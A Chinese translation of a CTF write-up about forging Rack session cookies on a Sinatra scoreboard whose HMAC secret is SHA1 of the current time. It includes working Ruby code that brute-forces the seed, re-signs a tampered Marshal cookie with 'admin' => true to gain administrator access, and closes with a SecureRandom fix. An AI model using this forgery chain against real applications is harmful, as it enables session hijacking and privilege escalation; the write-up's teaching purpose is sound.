<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1419

            0x00 背景


            上周我參加了一個Bishop Fox和BYU大學舉辦的CTF比賽,在比賽過程中我決定嘗試一下入侵一下計分系統,并且我把入侵的過程記錄了下來。

            盡管客戶端的token欺騙已經不是什么新鮮事了,但是這次的入侵過程可以作為weak randomness漏洞的一個很好的練習。(這次攻擊目標所使用的框架并不是像Rails一樣常用的框架)

            最后說一句:這個漏洞是框架自己帶有的而不是Bishop Fox 或者是 BYU的問題。

            0x01 cookie運行原理


            在開始之前,我推薦你閱讀一下這篇博文,他會告送你一個基于ruby的webapps如何處理cookie。

            簡而言之,ruby會生成一個hash數值作為一個cookie存儲在用戶客戶端像這樣

            { 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }  
            

            之后ruby分為三步把他存儲到客戶端

            (1)使用Marshal.dump對數據結構進行序列化  
            (2)使用base64編碼第一步得到的字符串  
            (3)計算message的HMAC(HMAC被用于message的完整性檢查,這是ruby的一種機制以防用戶篡改自己的cookie)  
            

            當以上三步做完之后,ruby會在頭文件中加入如下一段

            Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"  
            

            實際的cookie是這樣

            Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"  
            

            上述處理cookie的過程有一個漏洞,message中的信息可以被客戶端還原,只需要對它進行base64解碼和反序列化即可得到原始的ruby object

            ruby對于cookie信任的前提是,通過HMAC驗證message中的內容必須是有你代碼中設定的密鑰標記過的,只有這樣ruby才會把cookie當做一個有效地憑證。

            下圖就是上述過程簡要流程

            enter image description here

            如果你篡改了你的cookie,會導致HMAC驗證不通過,從而使你修改過的cookie值失效。

            0x02 簡介


            CTF的評分系統是一個Sinatra-based的webapp,它使用了一些基本的Rails機制,提供了一個計分板的效果。看一下代碼,還是比較簡潔的。

            這個webapp有一個有趣的現象就是,默認情況下代碼庫中沒有配置文件,配置文件是在程序運行過程中生成的,下面是創建配置文件的代碼。

            #!ruby
            begin
              require './config.rb'
            rescue Exception => e
              # create default config.rb
              open('./config.rb', "w+") {|f|
                f.puts <<-"EOS"
            COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
            ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
            STYLE_SHEET = "/style.css"
            HTML_TITLE = "scoreserver.rb CTF"
            EOS
                f.flush
              }
              require './config.rb'
            end
            

            值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s的SHA-1散列。這段代碼中所使用的Time.now.to_s就是我們所說的不健壯的隨機化種子。

            0x03 原理


            現在我們很容易知道,如果想要偽造cookie,就必須得到一個合法的HMAC字符串,只有得到它之后,我們才可以通過修改session-id來控制session。

            這個漏洞的根源是因為它使用了,弱隨機化種子,在上文的代碼中,SHA1-hashing 加密了一個秒級別的精度的字符串,這樣我們就可以使用暴力的方法嘗試一天之內秒數只需要60 x 60 x 24次嘗試。

            而且我們并不需要把每次的嘗試結果提交到web服務器,只需要在本地計算出正確的key,然后再通過它構造出正確的HMAC提交即可。

            0x04 POC


            為了確定一下我們是否可以破解HMAC,我們可以試一下。

            首先,我們從webapp得到cookie和HMAC。如果你想自己測試,copy以下代碼運行即可。

            #!ruby
            require 'faraday'
            
            connection = Faraday.new(:url => 'http://localhost:4567')
            response = connection.get '/'
            cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
            

            現在我們只需要不斷的獲取Time.now和創建HMACs直到匹配為止。我們通過一個循環依次減小時間,直到找到正確的時間使得SHA1散列匹配而得到session key。

            #!ruby
            require 'digest/sha1'
            require 'openssl'
            
            def create_hmac message, key
              OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
            end
            
            seed = Time.now
            
            while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
                seed -= 1
            end
            
            key = Digest::SHA1.hexdigest(seed.to_s)
            

            這樣我們就可以成功破解key了,這個key可以幫助我們創建合法的HMAC。

            0x05 利用


            得到了key,我們就可以找一下源代碼中有什么能讓我們提升權限的地方。

            首先,代碼會對cookie進行反序列化。

            #!ruby
            params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))
            

            這樣修改之后,我們就可以賦予自己管理員權限。

            #!ruby
            params.merge!({ 'admin' => true })
            

            通過上述語句重建cookie

            #!ruby
            bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
            bad_hmac = create_hmac(bad_cookie, key)
            header = "rack.session=#{bad_cookie}--#{bad_hmac};"
            

            只要把上面得到的cookie內容,加到header里面就可以獲取管理員權限了。

            到達這一步只要查看源代碼就可以很輕易地獲取到每一題的答案了。

            0x06 防御方法


            我在github上提交了一個修改版本,其中使用這句代替了cookie secret key的生成

            Digest::SHA1.hexdigest(Time.now.to_s)  
            

            使用SecureRandom庫生成隨機數

            SecureRandom.hex(20)  
            

            這會生成一個40個字符的隨機字符串

            0x07 結論


            這篇文章雖然在技術上沒有什么實質性突破,但是作為一個弱隨機漏洞的例子還是很不錯的,希望在思路上可以啟發到各位。

            from:http://blog.tjll.net/weak-random-seed-rack-exploit/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线